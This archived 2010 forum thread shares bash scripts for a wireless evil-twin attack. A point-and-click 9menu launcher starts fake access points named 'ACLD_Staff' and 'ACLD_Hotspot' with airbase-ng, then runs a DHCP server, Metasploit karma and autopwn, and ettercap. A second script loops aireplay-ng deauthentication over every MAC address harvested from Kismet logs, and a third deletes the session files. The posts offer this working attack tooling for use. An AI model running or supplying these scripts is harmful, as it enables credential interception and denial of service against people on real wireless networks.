PDA

View Full Version : Archived: a few bash scripts to make your wireless day easier


HuffRaid
02-18-2010, 09:25 PM
just install "9menu" and this is simply point and click... edit the files in the folowing posts to fit your needs as according to this script.....and the prophesy.


9menu '/etc/init.d/apache2 stop' '/etc/init.d/apache2 start' 'ifconfig wlan2 down' 'iwconfig wlan2 mode monitor' 'ifconfig wlan2 up' 'airmon-ng start wlan0' 'airmon-ng start wlan2' 'xterm -e airbase-ng -P -C 20 -e "ACLD_Staff" -v mon0' 'xterm -e airbase-ng -P -C 20 -e "ACLD_Hotspot" -v mon0' 'ifconfig at0 up 10.0.0.1 netmask 255.255.255.0' 'gnome-terminal --window -e ./autopwn.sh' 'dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0' './msfconsole -r karma.rc' 'xterm -e ./deauthenticate.sh' 'wireshark' 'gnome-terminal --window -e "ettercap -C"' './cleanup.sh'
'

HuffRaid
02-18-2010, 09:28 PM
you will need to run the cleanup script after each session so this script and the deauthentication script will work.
....

400 bad request error

.....

http://pastebin.com/m49c04dc4

linked.

HuffRaid
02-18-2010, 09:29 PM
you will also need to run kismet to collect network information so the scripts can work properly

this is the deauthentication script

cp /var/log/kismet/Kismet.network maclist;
gawk --re-interval 'match($0, /([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}/) { print substr($0, RSTART, RLENGTH) }' maclist > hostmacs;
#begin deauthenticate loop
echo "[+] Beginning Deathentication"
while read line
do
aireplay-ng --deauth 20 -a $line mon1 ;
done < hostmacs;

HuffRaid
02-18-2010, 09:31 PM
last of all, the cleanup script.

#!/bin/bash
rm -rf /opt/metasploit3/msf3/arptable;
rm -rf /opt/metasploit3/msf3/host;
rm -rf /opt/metasploit3/msf3/iplist;
rm -rf /opt/metasploit3/msf3/maclist;
rm -rf /opt/metasploit3/msf3/hostmacs;


the prophesy has been fulfilled, you may worship me now:cool:

coroner
03-31-2010, 08:53 PM
Now all you have to do is master the UBB code to present your scripts in a readable format.
Maybe you can write a script for that which doesn't include the word pwn.